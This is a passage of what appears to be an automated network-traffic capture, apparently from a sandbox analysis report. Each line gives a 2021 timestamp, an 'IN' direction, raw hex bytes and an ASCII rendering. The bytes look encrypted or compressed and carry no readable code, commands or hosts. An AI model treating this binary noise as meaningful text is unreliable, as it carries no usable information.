3b b6 c6 5a 89 51 65 ae b7 ce fb 31 e4 48 90 91 86 9c 68 99 08 d2 bd 41 e1 dd 66 c1 02 ff 9b 27 26 9b 65 21 e4 1f 99 b6 41 d7 28 dc 1a 0b fb 69 7a 4f ad fb 8d Data Ascii: 2m[^;AE}L](w4y9\|,?i_2rO\|'.kCXrQc-#1$k/fi@k;]8o?@VKbEr&iV:aFYH8&t@q'~,s;ZQe1HhAf'&e!A(izO
2021-12-01 08:15:22 UTC	599	IN	Data Raw: 1e 90 99 d8 dc bb 30 1f 01 b6 47 4e ab f0 df a7 0a 87 3b c4 a2 26 48 9b aa e9 1f 33 50 52 e0 ab c1 d6 b9 16 62 47 84 cd 4e d4 9f e7 ca 3f 14 5e a6 cc 31 ed d4 37 82 67 e0 99 c0 82 1a 3d cf c4 af e4 b6 4e 5f b4 d0 3d 02 f5 4c 0b 61 d4 56 f9 42 4a 49 26 6c bd a7 d2 ff a0 15 03 1f 86 81 4e 8c d1 1e 6a 87 ab bd 68 ee ee 91 1f 1d 08 0f 3f bf a9 27 2e ce 29 0e 01 e9 32 6a 70 d3 b3 a6 e7 6a 7a a2 6b 11 ab 1b 6e 88 02 58 49 14 52 75 cb 59 89 94 15 b5 3a 24 32 74 3a 1d 5e 9b 51 5c 63 20 9f d0 82 ad 6a 15 ac 1e 80 cc b2 2e 4c dc 0c c7 9d 2e 44 87 d3 bd 77 12 aa a3 cc fd a7 7c 8c ac a6 89 ec e7 da cc fc 8c 5c 75 1c 4c 1d de 1c eb 66 9f 02 7a 53 5d b7 9c b3 99 ff f3 47 2d fa ec cd fe 0d 96 a8 45 66 1e 71 57 b9 f2 2c b5 e6 06 00 06 59 1f 80 2c fa 43 5c c1 9f e4 ec 6b Data Ascii: 0GN;&H3PRbGN?^17g=N_=LaVBJI&lNjh?'.)2jpjzknXIRuY:$2t:^Q\c j.L.Dw\|\uLfzS]G-EfqW,Y,C\k
2021-12-01 08:15:22 UTC	603	IN	Data Raw: 73 69 1e 22 45 7a 25 5c de d0 11 f1 2b 24 9d 6b 14 c7 00 a7 14 cc b2 cb 39 a1 26 ac 87 7e 45 c3 97 59 ff 9c 40 e8 57 a2 e6 30 5c 21 f2 ba 44 2f 1a 33 ad a4 d9 9b 7d b8 37 2e 13 d5 8e 95 ba 3c 1b 27 96 0b 64 93 66 dc d9 9b 71 87 d0 58 7f 09 c7 a0 22 0d 48 af 2b 93 a2 57 b0 df e8 98 bf 25 63 b3 51 9c 17 a4 80 86 2b 66 17 ec c8 6f 11 d4 15 c3 4e 67 3c 83 15 e1 06 41 6a 30 c4 c9 5c 6d 4e 39 31 4c 8e d6 f1 7f 5e d0 9f 2e b8 71 7e 9b b2 e0 ff 65 cc ec dc 06 d1 78 61 8d aa 64 c6 9f 72 ab c7 3a 92 2d dc e2 2d 8d 74 fe 9f 19 3b b7 74 37 cd cf c3 20 82 d7 4b 8c 5e 8c 7f 50 bb eb 37 6c a3 70 7b 16 b5 39 0d e1 91 33 09 cc 18 99 e2 13 58 4c 15 0e 3f dd 97 e4 50 86 05 e6 2a 60 be b9 99 66 3c 18 82 40 87 f5 78 48 09 1e 0f 20 7d 70 ee 49 d4 b8 60 25 70 2b a2 c3 8b cc 88 Data Ascii: si"Ez%\+$k9&~EY@W0\!D/3}7.<'dfqX"H+W%cQ+foNg<Aj0\mN91L^.q~exadr:--t;t7 K^P7lp{93XL?P*`f<@xH }pI`%p+
2021-12-01 08:15:22 UTC	613	IN	Data Raw: b3 a5 9b c9 ed 7f 2a e6 14 b7 6e a5 d5 8f 43 76 90 41 e4 c2 2b 41 67 3a e0 c5 aa e1 d6 f8 0e 6d ad 2a 9e 70 32 35 28 f3 66 ae 8a f6 8b b8 12 49 4e 64 3d c1 53 92 4b 88 90 91 6e 42 70 df 66 01 0d 1a b5 fa ca 3d a1 1c c0 05 25 dd e3 1c 92 4e c2 1e cb b1 fc 60 ea c1 d5 c1 45 71 08 d3 1c 27 24 c1 52 f3 74 cd e3 27 82 5e b1 a0 f1 ef a5 87 bc 1d e0 93 cf c8 eb c6 a8 ec ab 0b 52 b4 5e 29 4b e3 dd af 03 7e 9a 2c 72 34 dc 51 d2 36 de e1 2d 27 5c 25 7c fe a0 cb 5c b6 70 3f ff ce c1 8c 32 22 b0 f0 40 a8 c0 1e 73 26 43 36 1f 2f 61 b6 30 1f e2 29 00 25 fe bc 11 ca 61 9e 60 1b 1a 1a b9 e9 90 68 a8 ef 4a 61 a0 1c 90 b4 16 b8 5b b5 79 d4 cf 16 c0 d9 cd 7f 22 f8 d9 b8 a3 18 02 c3 8f 08 84 15 48 ac 3e 76 b0 50 58 ce 29 cd f3 bb 28 12 bb b7 38 7c d1 1a 46 a8 38 d3 c7 c0 ef Data Ascii: nCvA+Ag:mp25(fINd=SKnBpf=%N`Eq'$Rt'^R^)K~,r4Q6-'\%\|\p?2"@s&C6/a0)%a`hJa[y"H>vPX)(8\|F8
2021-12-01 08:15:22 UTC	619	IN	Data Raw: 11 9e c8 a3 f1 04 47 7e 09 0b 99 90 06 f8 97 d5 3f 9f 28 80 dd 43 b2 a2 da 73 e7 43 b1 62 5a 89 eb 16 39 e4 43 2e 08 41 e3 61 87 0f 31 ce 46 f2 af 1c 5a 6d b9 d9 81 ec b6 3c 01 3c 15 c8 ef 6d a5 18 a8 83 d1 ac 88 d2 f5 1e 46 db c1 6e a8 b2 52 c6 a1 2f f6 2f 1d 90 cd 8d e5 49 4b c7 29 22 44 81 f2 18 a8 d7 49 46 93 95 de 15 da d8 0c 81 87 8b 80 04 5c 82 a2 2f e0 df ca f5 5f 7f ff e1 34 6a a3 31 17 73 6e c1 98 84 85 db a3 21 70 24 0c 24 77 a6 05 16 56 a7 2d 6c 1b 94 96 6b f8 11 6f c7 c7 9f d1 bd 4d 1e 9f 0f 19 37 9f 5c aa d7 19 c9 22 6a 19 ba 9b 85 66 92 94 8f a1 38 1c 84 e1 0a 07 db 05 e0 0e 6d 95 62 d5 e8 0b fb e7 51 60 5e 30 17 03 7a 79 53 f9 c9 db 3b 43 63 a7 64 11 c8 a5 78 48 b0 c1 a0 34 76 b9 b0 73 29 bd bc 82 94 93 9d 58 8f d2 63 63 89 97 aa 18 97 7a Data Ascii: G~?(CsCbZ9C.Aa1FZm<<mFnR//IK)"DIF\/_4j1sn!p$$wV-lkoM7\"jf8mbQ`^0zyS;CcdxH4vs)Xccz
2021-12-01 08:15:22 UTC	635	IN	Data Raw: 9b 1f 1c 52 fd 37 48 6c 2a 13 fd 4c 0d b8 3d a8 30 60 a2 b8 d9 89 21 33 ec e1 5f 2d f0 a9 eb f4 d0 21 f6 59 95 e4 65 48 db 67 96 c3 c3 21 42 02 af 7c c9 54 4b 47 31 38 88 61 f3 97 f2 c3 fe b4 2a 26 e5 71 55 32 db fa 5f 17 e2 88 a2 c0 13 fc 53 80 0a 84 1d 14 6b 0b 02 e8 68 24 dc 15 27 91 60 2f 6b 1d a0 6d 5c 2a c8 bc dc 11 29 23 e0 69 2c c8 a5 62 f4 97 e9 1a 9d df 17 7b 04 65 de 9e 94 07 20 5c 46 ae ae 09 a7 be da d8 48 96 30 da 35 5b a1 9f d5 61 2d 4a c9 8e d7 07 df 31 13 9e 24 c7 ce d4 49 b0 97 02 be 7a 20 93 50 a4 82 ea 59 56 7b cf 3f fc 92 a0 7a c2 17 d8 15 30 7f 7a 83 f4 a3 5f 6c 06 0a a8 a4 84 54 74 8d e1 2d c4 b8 38 40 7a c2 7e 80 08 71 e6 cd 5d d7 02 a5 2a 2c 3d ab dc 42 f1 a6 b7 9c 7d ce a7 0a 67 6d 5c 11 6f 5e 89 fa 8c 1a d2 6a 72 8d 6c 82 42 a1 Data Ascii: R7HlL=0`!3_-!YeHg!B\|TKG18a&qU2_Skh$'`/km\)#i,b{e \FH05[a-J1$Iz PYV{?z0z_lTt-8@z~q],=B}gm\o^jrlB
2021-12-01 08:15:22 UTC	645	IN	Data Raw: e2 25 66 2d 3b c2 4d 22 ff d6 4c 46 7f 6a ce 12 3b f7 6c cf 1d 48 96 16 a5 7d 49 cd 76 f5 e7 84 a8 e9 35 64 73 89 1c 62 1e 0e cc 8b c8 03 15 6b d5 ef 5c 03 2b a4 f9 ac ff da 61 18 79 86 0b 4b 91 60 a2 49 04 4f 5c 28 0b 8a 85 66 b6 ac 4f 30 9b 61 36 cd e1 b3 c3 a4 2f d7 46 9a bb 03 0a f3 7f 82 49 f2 7c 4b e8 f6 63 e1 62 1e 45 a3 cc 37 ac 3f ac c9 50 7a 46 36 ce 13 8f 56 5f cc 2d 29 c4 1f 2c f3 a4 f2 27 6a f1 f8 1c 49 d6 35 00 6e 4e 02 42 09 f8 1a ef 59 9a 70 99 86 b9 79 df 81 69 39 f6 8e 5b a7 1c b0 43 c7 29 07 dd c3 4e d6 a7 3f b9 f5 19 63 bc 09 a5 5a 96 8d 7f 6e 79 ef ee 61 b0 78 26 79 ee f1 8c f5 56 53 aa 0f 22 cd 46 ee 9f 5c 49 b2 24 52 02 7c 87 4e 3b d5 41 c0 82 08 fd 0e 2f 44 f8 55 38 56 95 90 e3 a3 db 22 e0 56 a5 77 25 b4 b2 4a dd 93 a2 08 7f a9 91 Data Ascii: %f-;M"LFj;lH}Iv5dsbk\+ayK`IO\(fO0a6/FI\|KcbE7?PzF6V_-),'jI5nNBYpyi9[C)N?cZnyax&yVS"F\I$R\|N;A/DU8V"Vw%J
2021-12-01 08:15:22 UTC	661	IN	Data Raw: 5f 9b 62 2e eb 84 a6 f5 4c 70 91 a1 70 26 e3 16 71 dd 0c 69 75 bf 31 1e 8e d2 51 0a 9c b4 4b 81 b7 dc fd eb 06 e0 1d 8b 89 74 34 57 96 27 70 43 55 1d 2b d5 51 7a 92 ac d0 c4 20 ca f6 73 97 68 9f d7 b3 b5 91 74 53 8c 62 0d af 15 ac 0c 25 5e ef 0e 40 75 7c cb d4 5b 7b d8 5e 84 8c aa 95 42 9e cd 51 72 01 78 25 70 8c e8 3e d2 c3 05 5d 58 4e b7 b2 90 63 ac 46 e3 16 93 7b 4c db b4 8d b8 24 04 67 26 fe ef 67 62 f8 ee 4e 17 bc 29 58 e2 7f 21 7c 2a 4a cd ea 2e 18 8b f8 5c 70 88 8f 92 99 40 8f 03 7f 58 03 4c 6c 9b cb d1 84 2a f4 cf 10 43 e2 59 cd c1 cf 6e 7c 4a 41 94 db 1d f8 3c 92 e6 8d fc 60 08 ce 36 95 c8 ca 69 51 98 9f 98 03 17 17 7b 46 27 1d d1 8d d2 d4 28 1f 7d 50 f3 bf 90 ca fb e4 6d 49 24 53 d7 b2 15 4b ec 6e 1a 6d 62 9b 2d fc d0 3d 14 bc 20 89 ac 66 ce 40 Data Ascii: _b.Lpp&qiu1QKt4W'pCU+Qz shtSb%^@u\|[{^BQrx%p>]XNcF{L$g&gbN)X!\|J.\p@XLlCYn\|JA<`6iQ{F'(}PmI$SKnmb-= f@
2021-12-01 08:15:22 UTC	677	IN	Data Raw: 4d 87 2e 87 ba c9 6e 0d 83 f3 75 36 26 ad ba 8c ee 26 af 25 3e 0d 0b 96 70 3f 93 e1 ec 06 0a 4b 60 87 9b a3 15 c7 df c5 e1 d4 4f e2 a6 8c e6 5c f5 aa cc 31 db 74 10 8a 84 30 b7 72 e4 20 9d b3 ee 59 af da 98 00 e5 c1 70 c1 d4 4e d6 35 55 4a 8a 1c 15 70 22 ee ac 08 4f 88 70 e4 13 98 44 e1 b3 ae 79 0c 9e 6b 02 88 b3 6e ab f0 c5 4b 97 c2 80 94 82 50 de 77 c6 61 5a d0 0f ab 0d b2 84 3e 6e a4 4d 26 b2 35 8b 95 a3 6e b8 49 35 11 1b 39 d1 ff bc e7 56 bb a7 f3 44 88 7c 44 18 3d e5 62 23 8c d6 5a c6 be ce 07 51 65 02 79 bc 88 27 ff 48 12 3e 8f 97 4e 8f 14 58 26 c9 65 1f 50 34 b7 3c 78 e4 0d 6e 58 cc d3 9a b5 6b dc 25 a0 ae 67 73 1b cd 28 e8 98 59 b9 b7 40 13 7a 8a 6b 6a fd b7 d3 21 0d 44 7b f9 43 8d bb 0e 12 0a 63 10 7a 0d 94 dd 59 ec e4 74 9b d6 2c 12 c2 f5 f0 a7 Data Ascii: M.nu6&&%>p?K`O\1t0r YpN5UJp"OpDyknKPwaZ>nM&5nI59VD\|D=b#ZQey'H>NX&eP4<xnXk%gs(Y@zkj!D{CczYt,
2021-12-01 08:15:22 UTC	693	IN	Data Raw: b8 1f 41 04 19 f6 c5 f4 f4 5c 0b 20 34 7b 2e 44 5b 6e e4 0d b6 fc 73 d4 61 7f ee 5d dd 25 80 0f dd 4a 37 2c d2 f3 98 8a 0a 34 f2 1e d8 d9 8b d7 f8 60 8d e7 70 e3 29 0b 38 d0 ae e3 a6 0e 4f 4e 6f 3d 55 dc b3 44 dd 6f 4e 91 fe 97 87 76 e2 d2 02 29 27 63 09 92 20 38 20 82 26 48 99 e6 2f f7 04 76 b6 3d dd 43 98 9b 11 fe 51 ee 50 48 fc d2 fc 29 bf 0d cc 6c 1f 80 e3 ee 63 61 15 fe ae 17 b4 c5 c3 6b 6a 84 ed 46 20 f6 bc 69 be 0d ea fe a1 41 09 e1 b0 eb 0a b2 64 c8 ab be 0a c4 a2 98 ec cc b7 dc 35 05 57 56 76 9f 7f 83 b2 75 19 bc b9 80 19 76 ce cf f9 55 80 73 9e b1 23 c9 02 c4 91 ec 45 fb 9e 63 a1 e7 f3 8d d2 09 13 e5 30 b2 91 02 6d 08 ba 0d 07 9a 83 06 06 68 74 9d b0 11 d3 7b 49 f6 07 71 7f bd 8f 28 cc 84 68 75 ae 99 39 0d 35 5a 83 78 13 60 a7 b8 3f 88 4b b9 48 Data Ascii: A\ 4{.D[nsa]%J7,4`p)8ONo=UDoNv)'c 8 &H/v=CQPH)lcakjF iAd5WVvuvUs#Ec0mht{Iq(hu95Zx`?KH
2021-12-01 08:15:22 UTC	709	IN	Data Raw: 1d c3 a8 58 9e 74 74 25 11 f7 4b d9 be 30 87 b3 e4 1b d2 89 3f 19 78 21 35 ce b5 ac ef b6 a5 92 04 9b 09 31 38 12 38 ca e0 24 99 60 15 3f 82 18 0b 5f 0a d5 ca 52 d9 33 6e 94 8d 1f 31 2b 3d 07 3b 10 15 f7 ed 3c f7 92 d3 77 3b bb a6 65 ea a5 74 d9 0d f9 ab 2d fa f4 7e 22 33 50 ef ab e3 ec 58 06 ce f9 6c 02 0b 79 f7 45 58 7c e1 ec ac 4b 21 2b 2f 71 28 5c 2f 34 a2 d3 26 72 9c 6b 27 7d 24 6f 7a e0 61 6c cc 43 90 00 3f cf f0 79 64 97 98 f9 00 cf 92 a1 25 56 06 c5 a6 12 c4 1d 76 0d 66 43 aa f3 9d db 7c f8 8e ea 08 46 f2 d1 7d 27 8d 56 09 d4 9e 64 ce a4 16 6a 13 e6 d2 1e 92 d5 0e 88 be 59 06 9f e9 14 07 63 38 16 3b b3 4b 84 3e 74 db cb e7 51 aa 24 b1 5e 19 6d ca 00 e0 d8 d6 7f 77 10 6c 7e 4b 08 47 9b d7 9f da 89 16 a0 00 c8 08 c1 d2 df 83 61 2c 19 67 e6 83 04 e1 Data Ascii: Xtt%K0?x!5188$`?_R3n1+=;<w;et-~"3PXlyEX\|K!+/q(\/4&rk'}$ozalC?yd%VvfC\|F}'VdjYc8;K>tQ$^mwl~KGa,g
2021-12-01 08:15:22 UTC	725	IN	Data Raw: 38 52 01 65 6c c0 d8 af 1a cc 3e ea 87 d1 31 16 7f be a3 12 0e db a3 f0 13 ac be fb 98 09 ed e1 4b 8b 99 2a d5 29 7e 62 00 1e 38 90 a2 af 4b c9 e7 cb ac b4 a6 7a 87 72 72 bb 5d bc 89 b2 67 ea 50 3d 5b 92 85 45 14 43 eb 39 2c d7 04 69 7b ed 65 57 20 dc 19 5a 62 db b9 86 df b9 5a a8 23 fe 4c 46 86 6f 56 6a 0e 10 dd 52 10 11 7e 70 7d 6b 16 00 fa 2a 05 33 d6 03 b8 54 b9 63 f8 d9 65 3f 9d 12 ab e3 9b 2a 44 5e 20 52 a6 f3 dd b6 3a d1 1d 9f 0b de 05 1a 69 7c 97 5c 14 96 bc ee 35 dc 05 8b 6a 41 ce 90 67 45 ce fa 3c ca 9e c7 a4 6a a4 8b 52 4b c1 b9 86 69 9c 69 80 35 73 7d 6d 5c 95 6b 96 a8 35 c0 68 6d 27 63 d9 e5 3e 02 dc ee 9e 36 23 18 bd e9 bc 79 15 52 d5 ac 97 90 42 ab 40 1c 6c bd 5e 59 fc 56 0f c9 f1 3c 3a df f0 e6 7d 87 c5 e9 81 75 0e 43 b1 47 b0 33 f7 80 8e Data Ascii: 8Rel>1K)~b8Kzrr]gP=[EC9,i{eW ZbZ#LFoVjR~p}k3Tce?*D^ R:i\|\5jAgE<jRKii5s}m\k5hm'c>6#yRB@l^YV<:}uCG3
2021-12-01 08:15:22 UTC	741	IN	Data Raw: cf 3c fe 86 b6 66 19 0c 82 27 84 55 4d f2 85 c8 55 02 5a 90 b3 a3 d0 99 1d 9b 21 c0 0e c6 a1 d4 8c e5 80 36 e0 46 8a 6e eb ed 1b ec 09 23 a1 82 36 11 6f 6e 30 4f 5a 29 ef de 4a 8d dd b8 16 d7 9c 1c 56 14 25 24 a5 9b 4c 41 de ee 8e 52 7e f9 43 b8 3e b6 f6 e1 da 93 9b b6 bc da 99 d0 dc 1d cf 7e 58 b1 d1 aa df a1 6f 8d 67 2b 6f 33 4a 05 13 36 83 db b0 24 0a f6 47 99 8c ca 2c ee 79 ea 74 e3 8b 8e fc a4 44 4c 4f 65 a6 af 7a 9c e0 13 47 d6 2d 01 64 a7 a4 7e 52 27 d1 05 ac c6 a1 ca 67 7c 54 94 71 2f 55 45 dd 15 12 d1 0d 8a 87 85 0b fa a4 2c f6 bd fa 82 da a3 10 2e 17 fd db fa 17 fa 10 db 6f d4 db 7d 33 da 4e 6f 4a 3f ba 42 01 76 c4 38 20 8d ef 97 bd 09 94 64 57 25 3c 65 31 cb 73 66 f7 48 ab 34 21 6c 6e 4a 6d a1 d4 a5 51 90 cd 45 e8 3c 94 11 b8 e8 cb e7 e0 bf dc Data Ascii: <f'UMUZ!6Fn#6on0OZ)JV%$LAR~C>~Xog+o3J6$G,ytDLOezG-d~R'g\|Tq/UE,.o}3NoJ?Bv8 dW%<e1sfH4!lnJmQE<
2021-12-01 08:15:22 UTC	757	IN	Data Raw: c1 70 ac 20 93 e9 04 9b ac 94 02 14 a4 01 31 82 48 aa b2 af c9 64 e9 18 87 03 3b 1e 0b f4 cb e5 85 58 f4 c7 41 cb 71 75 c6 72 af 04 ef 15 68 2a 56 bc 21 68 65 a5 07 72 8e 37 15 20 98 b5 f5 cb f3 03 f0 87 75 20 8f c7 26 c7 57 39 52 1a c0 59 4b d5 f1 5a 48 20 ef 55 9b 99 c2 85 66 34 1f c6 91 6f 7b 9f 98 03 b5 da 41 51 9f 62 82 27 21 db 2e 67 11 b2 c7 42 64 ac ae 07 b1 a3 85 1c 35 5a 93 dd 4a 6c bd 14 62 69 5a 3d 37 17 e2 96 f8 c2 14 09 ea 39 6a 8e 8c 5d 03 3d cc f5 b0 f1 e9 ce d8 11 1b 94 8f 28 6e ae 8c f1 d4 f2 b3 b8 bd 4c 1b 6e e4 9f 18 6a 73 d8 2d 40 c2 b6 dc 01 4c 12 ce 71 de da d4 61 6c 78 bb d4 ec b2 2f 88 8b cd 23 ef 07 bf 12 8a 5f 27 49 41 0e 41 eb 30 99 d3 a1 13 c8 3f 74 28 f1 9a 87 ee 93 a6 c7 6e ee 2f 85 7a 80 a9 b4 9f fd f1 fd e1 d0 da 18 66 76 Data Ascii: p 1Hd;XAqurh*V!her7 u &W9RYKZH Uf4o{AQb'!.gBd5ZJlbiZ=79j]=(nLnjs-@Lqalx/#_'IAA0?t(n/zfv
2021-12-01 08:15:22 UTC	773	IN	Data Raw: 88 b1 8d 28 c0 30 7b 2b c1 6e 77 fa 07 c2 5e 0f 0e ab 79 b1 f4 f9 5e 15 13 9e 16 87 40 e1 ca 2c 31 1a 26 3d 1d b4 da 47 cc d7 39 d8 ad cb 54 16 f5 a5 9d 13 98 45 4d 86 f3 f6 4d 73 ff 08 14 cb d5 23 a9 65 ab 18 90 8f 21 54 c7 01 8f 9d 1a 80 63 9c 2b 79 69 75 74 bb 3b 8b dd c3 cc af 95 9a a6 1d ec 1f 07 ad 5d 66 6c 8e 8d 71 5f 65 99 4c 37 fc d4 62 b0 7e 86 2c af e3 64 2a 5e 1d b8 11 be 81 5d 0c f4 cd b6 1e 94 a5 50 a2 53 2b e1 37 da 00 b8 79 2a e3 98 fe 68 9d 2a 91 d4 bf 35 f8 4c 8c 95 af fd 81 94 8e d6 34 2c 0d 12 00 44 2f b1 24 39 e0 a3 c8 95 59 06 2c 7c 62 bc ca 3c f5 eb 0b c2 4f bd 7a 74 c2 85 82 c8 88 4d 61 f8 8e 69 f0 67 76 0b 63 f8 21 b7 ac b1 aa 5a b5 d1 32 ed 7e 7f a4 6b 45 36 d0 05 f5 c0 cb cc 89 f6 0f f0 4b d2 b2 3d b5 a9 a6 53 a0 03 2b 26 77 99 Data Ascii: (0{+nw^y^@,1&=G9TEMMs#e!Tc+yiut;]flq_eL7b~,d^]PS+7yh*5L4,D/$9Y,\|b<OztMaigvc!Z2~kE6K=S+&w
2021-12-01 08:15:22 UTC	789	IN	Data Raw: 4c 38 0f c5 9e 10 28 81 c4 13 d8 2b 6f 45 bb 9f 8b cb 5d ee a9 1e 97 8e 53 b9 90 d0 80 76 f5 ac 75 6b ea d9 76 d2 65 6a 0b ad 7d f0 e9 ee a3 a7 2c 3a f0 51 f6 aa a5 e0 db c4 d9 e5 7a 71 84 75 d1 57 75 a9 5e 41 b5 6b 70 57 49 59 66 fe 1c 83 ef 8c 2f e3 6d 6e 58 58 4e 26 5b cd 47 35 9a 53 7b 46 eb b2 79 30 10 29 b6 f5 3b 8b 97 5c bd 74 78 d7 e0 ec 1e 2e 1f 61 a4 36 47 2b 78 41 28 c8 c9 90 a6 8d 1f 48 ab f3 72 34 2f e3 6a e7 06 18 bb ec da a6 f9 98 36 56 82 ef 8c 31 c0 97 53 d8 30 48 39 15 66 ed 97 76 80 e3 45 50 22 a3 87 89 13 e3 95 54 a0 89 89 2b 3b 0e 30 ec 64 cc 50 2b 5a b9 70 06 58 90 23 24 71 51 b9 b3 bd 04 09 d9 4d 5d 21 8c fb 91 c9 01 69 51 fe d3 b1 ce 7b 2c 9c 76 11 11 7f 96 7b 07 f9 a8 9a 20 14 c8 24 fc ba d0 30 35 4c 03 95 ee 32 99 4d 36 33 bd f0 Data Ascii: L8(+oE]Svukvej},:QzquWu^AkpWIYf/mnXXN&[G5S{Fy0);\tx.a6G+xA(Hr4/j6V1S0H9fvEP"T+;0dP+ZpX#$qQM]!iQ{,v{ $05L2M63
2021-12-01 08:15:22 UTC	805	IN	Data Raw: 8c b8 26 6d 70 6f 27 87 eb 73 8b 33 14 89 aa 6c 50 52 35 62 e2 6e 87 96 95 cc bd df 6f bd 53 53 02 30 bd d4 7b 24 ed 6c e2 9f c9 eb 7f 80 95 97 42 ce 5a fc aa 5b dd 98 2e 8d 01 58 39 88 3a 52 4b ac 43 36 93 9d 78 57 29 06 24 49 d1 3c 2e 7f d2 12 73 37 bd 69 94 67 3a d3 cc c1 52 d0 1c b4 36 83 19 6c 8b 6e 2d 97 e1 8a 00 57 41 bb b8 49 0c 9a 0c 9b 65 f8 2a 23 16 96 97 d8 a8 3e 1f 78 4f 45 c5 b3 df 03 b4 57 c3 84 f4 4e 83 28 57 e5 50 a7 09 9b ea 1d 6c 0d 74 ab ee 19 ad f8 41 2b ae 52 69 86 4b be ba 34 4e 66 cd fb 8a 90 2b 89 ad e1 d8 e8 c5 4a 92 48 89 27 6a f7 cf 7e d4 30 55 da f2 e5 24 df cc eb 04 68 38 b6 63 59 c7 eb e8 e4 16 35 6c 5c b7 02 d1 55 c8 70 bf 34 2d f1 2d 57 77 26 46 e2 bd 35 24 d9 e7 c9 cc 02 e3 ab 38 38 0c 09 bd 41 1a 56 0d 77 35 fc a8 71 c5 Data Ascii: &mpo's3lPR5bnoSS0{$lBZ[.X9:RKC6xW)$I<.s7ig:R6ln-WAIe*#>xOEWN(WPltA+RiK4Nf+JH'j~0U$h8cY5l\Up4--Ww&F5$88AVw5q
2021-12-01 08:15:22 UTC	821	IN	Data Raw: 85 aa bb 56 a1 ae 15 97 fc 26 4c 1d 86 4f d7 07 5f 91 6a 85 0b be 59 9d f3 ce a4 c7 6c be 89 94 fb 3e 0b 83 64 68 50 33 31 ad ad a9 66 73 91 cb 5f 38 c4 92 7e a9 c4 95 f0 ee d8 0d 77 77 1b e0 17 9d c9 d8 e9 8b 91 a7 13 3b 73 66 e8 c6 e2 e5 3d 83 7e 77 c0 c3 05 05 42 91 0a ac a6 5c d7 d3 ab 86 c6 47 5b fc f3 c1 68 2e 8b f3 9e bf bd e3 9c 86 fa 80 8d 09 e6 24 e3 03 3c bf c7 9a 33 3f 54 5d b5 8b 09 44 b9 2d cf 35 53 48 f6 a1 05 ad b0 53 39 bb 1c 85 03 d4 8a 24 8a 24 bb 33 f1 11 86 5b fc 83 bf 35 82 eb 81 6b 28 a0 0b 48 67 45 8c e2 7e 3a 5b 29 ab 47 e3 4e e1 98 72 06 c7 73 e3 b5 37 13 10 c8 b5 28 c7 ef 0a 95 ed 28 2b c9 bf 09 20 fd 5d bb 0b a4 b0 fc 5b ea 85 0a ef b3 96 55 4c d9 01 25 b9 e8 6e 53 33 6b c7 59 50 4c b5 f4 87 3f 7a 66 74 a2 20 56 ad 39 45 97 ed Data Ascii: V&LO_jYl>dhP31fs_8~ww;sf=~wB\G[h.$<3?T]D-5SHS9$$3[5k(HgE~:[)GNrs7((+ ][UL%nS3kYPL?zft V9E
2021-12-01 08:15:22 UTC	837	IN	Data Raw: 63 ad 5b ef 27 b7 3e 3f 7b ce 9e 3b 0a d3 57 e0 ee 8d 13 c7 29 48 ec 5a 88 db c6 1d b0 76 30 5e 01 57 d7 97 c2 c0 2b 70 79 aa 42 17 06 24 65 85 53 4c a9 60 35 cf 04 fa 14 ee 6e 50 4c 1c 7e 08 d8 9e ed d5 e5 1f 19 58 fa 3c cf a7 b4 50 47 a8 00 65 73 a4 9f 12 48 9a 25 c6 d8 62 3e 9e bb 7e 03 0d cc 8e ba 1a 27 b4 81 d4 6c 6c 34 b3 c0 54 30 70 49 6a 30 ed 71 e6 94 3d d2 f7 47 95 08 28 1b 57 ec 54 36 ea a5 ff 1b 08 a2 52 c4 2b fd ca 60 d8 cc 8c d1 15 04 f9 2a 02 6e bc 79 c7 bb b7 b3 86 83 e6 27 c8 06 d0 0d 66 bc 75 73 da 1a 51 30 27 62 07 93 e5 c0 57 81 4d 7a 3e 96 19 70 c4 c9 3c d7 1b 31 88 0d ed 8a 2b ea ec b7 a7 ad 15 13 fc d1 e2 32 63 9a ac 8e 03 b9 66 8d 58 22 5c a4 09 54 4b 72 73 98 76 48 c8 67 f1 a6 d8 ef aa 28 c8 6f 9e b9 b8 83 d9 1d 6f 44 13 fe e2 0b Data Ascii: c['>?{;W)HZv0^W+pyB$eSL`5nPL~X<PGesH%b>~'ll4T0pIj0q=G(WT6R+`*ny'fusQ0'bWMz>p<1+2cfX"\TKrsvHg(ooD
2021-12-01 08:15:22 UTC	853	IN	Data Raw: 85 1c b2 de 39 05 7f 49 87 3b 4a 3b 3a fb 2f a2 24 30 51 70 31 f2 62 82 f1 fc 86 76 23 8e 4b 29 60 ad 24 8f 90 5a aa 07 01 b6 38 02 65 87 3f 71 22 76 d6 de 5f d6 f3 78 48 50 07 6f fc 4f c3 f1 70 3f d7 8c 61 b7 88 14 d0 bd 6f ed 17 e6 b9 07 f9 a9 c8 30 47 e3 1f 1f e6 23 3a 5d 7d fb 9d 94 6e b7 e9 32 1b a1 b9 cc bb b6 ac 39 cf 75 9c 90 4f a5 12 bd e6 d2 1a fa b1 4e 61 5a 63 46 85 33 89 aa 5a 68 dc d6 84 7f ae 75 d4 9f 93 40 1b bd e5 fe d9 79 ad f2 a1 15 36 2c 44 8a 29 b3 cf b4 25 7f 97 67 6c 5e d9 9e 6f d6 bc ab 60 ed c9 ba b5 d6 95 a3 7f 49 0d 30 81 ef ec 15 91 2a be 0d 0b 8d 69 ce 02 ef a6 de 08 3e 2b 52 31 24 96 45 2d 36 7c 2e e0 b4 64 7d e4 20 1e 08 fc 4f 92 24 ad bb 51 df 05 7a 4b 7a d2 f0 c6 99 13 4f 96 ed 52 4f 93 c1 82 39 42 a1 d7 51 13 f6 1e dc ee Data Ascii: 9I;J;:/$0Qp1bv#K)`$Z8e?q"v_xHPoOp?ao0G#:]}n29uONaZcF3Zhu@y6,D)%gl^o`I0*i>+R1$E-6\|.d} O$QzKzORO9BQ
